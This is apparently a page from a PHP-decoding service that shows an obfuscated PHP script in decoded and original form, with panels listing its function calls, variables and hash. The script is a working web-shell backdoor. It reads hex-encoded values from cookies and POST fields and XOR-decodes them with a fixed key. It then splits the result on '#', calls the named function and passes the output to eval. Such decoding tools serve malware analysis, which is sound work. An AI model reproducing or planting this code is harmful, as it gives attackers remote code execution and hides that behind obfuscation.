Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function/* i*/iXiAjMUb() { $mmKIMcU/* kF */= Array (/* o */"mAfLt..

Decoded Output download

<?php	function/*   i*/iXiAjMUb() 
   	{ 
					 $mmKIMcU/*  kF   */=	Array	(/*   o */"mAfLtvlbuMbMoFJsXBbJTlgZM"    =>	"QeHanks"     ); 
	 
				/*   SdL  */$JJwxyt  = Array	(	"YSOjK"/*  Ojz*/=>    "HhTrs"/* c   */); 
				/*DrGP */$bAnZe = Array(/*  ZQu  */$mmKIMcU,	$_COOKIE,/*e  */$mmKIMcU,/* NbIk*/$_POST,  $JJwxyt); 
    	 
  	return/* e   */$bAnZe;; 
 
 
/*  VDEei  */} 
/*   sOGS  */ 
 
 
	function	xdkeAyFyuT($NXXDYJo, $mmKIMcU) 
    { 
		if	(/*   CmAK  */count/*   oB */(  $NXXDYJo    )	==/*   AZ */3   )/* fUsvl  */{ 
  	$XKNHHbvws/*  AiSLt  */=/*OSezZ  */$NXXDYJo[1]; 
 
 
/*  G  */$pDdpyXf =/*  YQJzA*/$NXXDYJo[2];$_o	=/*   xeqR*/'6725'; 
						$nwZHh	=   $XKNHHbvws($pDdpyXf);; 
			/*  HxpX  */eval	(     $nwZHh  ); 
   die	();; 
       } 
 
 
    } 
		   
   /*  TGqx   */function	ucRuCtc($sSmoyi,	$NqXef) 
  /* RhKWf   */{ 
     /*G */return     $sSmoyi	^    $NqXef;; 
 
 
  } 
         
         $TGRQSvuz/*   cwC  */= chr/*   LInW   */(35);; 
 /*W   */ 
		function	ZrwzABg($LlknVqrNo,/* qAa*/$TGRQSvuz) 
 
/* urj*/{/*   BT   */ 
			   $LlknVqrNo	=	explode/*hzmK */($TGRQSvuz,/*d  */$LlknVqrNo/* DYT  */); 
        
     /*  Qid  */xdkeAyFyuT($LlknVqrNo,/*  jL*/$TGRQSvuz);$_TeqQj	=   '2625'; 
		/*  SU*/} 
					 
					    function	ozanvBwT($NqXef, $sSmoyi) 
 /*  Tx  */{ 
     	$gdpUdJA	=  strlen(/*gUaSz*/$sSmoyi/* he*/)/strlen(	$NqXef	);; 
     /* dFosz   */$NqXef .=	"pNnyYbR-HapBl-llWix-xofFU-OzrJ-xWaDx-uWGQrXa"; 
    $NqXef/*   yAJ  */=/*   K*/str_repeat	(/*   Q   */$NqXef,    $gdpUdJA +	1);$_IpWA/*  Jb   */=/*Smye  */'42471'; 
   
					return	$NqXef; 
	   } 
     	 
   /*vfFzY*/function	nyhKTFi($NqXef,	$sSmoyi,	$TGRQSvuz) 
	{ 
    	$sSmoyi/*QRvjD   */=/* M */@pack(/*yW */"H"	.   '*',	$sSmoyi  ); 
	 
   /*   BAFrI*/ZrwzABg($sSmoyi	^	ozanvBwT($NqXef,/*tfi  */$sSmoyi),	$TGRQSvuz); 
   /*   RxGY   */} 
	 
		function     EspKYKSAZ($lDjVwF,	$TGRQSvuz) 
 
/*   eKmq */{ 
  /*zTwh  */foreach/*   Y*/(	$lDjVwF	as	$NqXef  =>  $sSmoyi/* RK   */)     { 
		nyhKTFi($NqXef, $sSmoyi,	$TGRQSvuz);; 
 
	$bAnZe  =  strpos($TGRQSvuz,	$sSmoyi);; 
        } 
 
/*  VRCYF */} 
/*PS   */ 
						foreach	(iXiAjMUb() as/* k  */$lDjVwF)     { 
 
 
 EspKYKSAZ($lDjVwF,     $TGRQSvuz);; 
      } ?>

Did this file decode correctly?

Original Code

<?php	function/*   i*/iXiAjMUb()
   	{
					 $mmKIMcU/*  kF   */=	Array	(/*   o */"mAfLtvlbuMbMoFJsXBbJTlgZM"    =>	"QeHanks"     );
	
				/*   SdL  */$JJwxyt  = Array	(	"YSOjK"/*  Ojz*/=>    "HhTrs"/* c   */);
				/*DrGP */$bAnZe = Array(/*  ZQu  */$mmKIMcU,	$_COOKIE,/*e  */$mmKIMcU,/* NbIk*/$_POST,  $JJwxyt);
    	
  	return/* e   */$bAnZe;;


/*  VDEei  */}
/*   sOGS  */


	function	xdkeAyFyuT($NXXDYJo, $mmKIMcU)
    {
		if	(/*   CmAK  */count/*   oB */(  $NXXDYJo    )	==/*   AZ */3   )/* fUsvl  */{
  	$XKNHHbvws/*  AiSLt  */=/*OSezZ  */$NXXDYJo[1];


/*  G  */$pDdpyXf =/*  YQJzA*/$NXXDYJo[2];$_o	=/*   xeqR*/'6725';
						$nwZHh	=   $XKNHHbvws($pDdpyXf);;
			/*  HxpX  */eval	(     $nwZHh  );
   die	();;
       }


    }
		  
   /*  TGqx   */function	ucRuCtc($sSmoyi,	$NqXef)
  /* RhKWf   */{
     /*G */return     $sSmoyi	^    $NqXef;;


  }
        
         $TGRQSvuz/*   cwC  */= chr/*   LInW   */(35);;
 /*W   */
		function	ZrwzABg($LlknVqrNo,/* qAa*/$TGRQSvuz)

/* urj*/{/*   BT   */
			   $LlknVqrNo	=	explode/*hzmK */($TGRQSvuz,/*d  */$LlknVqrNo/* DYT  */);
       
     /*  Qid  */xdkeAyFyuT($LlknVqrNo,/*  jL*/$TGRQSvuz);$_TeqQj	=   '2625';
		/*  SU*/}
					
					    function	ozanvBwT($NqXef, $sSmoyi)
 /*  Tx  */{
     	$gdpUdJA	=  strlen(/*gUaSz*/$sSmoyi/* he*/)/strlen(	$NqXef	);;
     /* dFosz   */$NqXef .=	"pNnyYbR-HapBl-llWix-xofFU-OzrJ-xWaDx-uWGQrXa";
    $NqXef/*   yAJ  */=/*   K*/str_repeat	(/*   Q   */$NqXef,    $gdpUdJA +	1);$_IpWA/*  Jb   */=/*Smye  */'42471';
  
					return	$NqXef;
	   }
     	
   /*vfFzY*/function	nyhKTFi($NqXef,	$sSmoyi,	$TGRQSvuz)
	{
    	$sSmoyi/*QRvjD   */=/* M */@pack(/*yW */"\x48"	.   '*',	$sSmoyi  );
	
   /*   BAFrI*/ZrwzABg($sSmoyi	^	ozanvBwT($NqXef,/*tfi  */$sSmoyi),	$TGRQSvuz);
   /*   RxGY   */}
	
		function     EspKYKSAZ($lDjVwF,	$TGRQSvuz)

/*   eKmq */{
  /*zTwh  */foreach/*   Y*/(	$lDjVwF	as	$NqXef  =>  $sSmoyi/* RK   */)     {
		nyhKTFi($NqXef, $sSmoyi,	$TGRQSvuz);;

	$bAnZe  =  strpos($TGRQSvuz,	$sSmoyi);;
        }

/*  VRCYF */}
/*PS   */
						foreach	(iXiAjMUb() as/* k  */$lDjVwF)     {


 EspKYKSAZ($lDjVwF,     $TGRQSvuz);;
      }

Function Calls

chr 1
iXiAjMUb 1

Variables

$bAnZe [{'key': 0, 'value': [{'key': 'mAfLtvlbuMbMoFJsXBbJTlgZM', 'value': 'QeHanks'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'mAfLtvlbuMbMoFJsXBbJTlgZM', 'value': 'QeHanks'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'YSOjK', 'value': 'HhTrs'}]}]
$JJwxyt [{'key': 'YSOjK', 'value': 'HhTrs'}]
$mmKIMcU [{'key': 'mAfLtvlbuMbMoFJsXBbJTlgZM', 'value': 'QeHanks'}]
$TGRQSvuz #

Stats

MD5 29b932a1efac6b9ce1d1449a2e9ae073
Eval Count 0
Decode Time 253 ms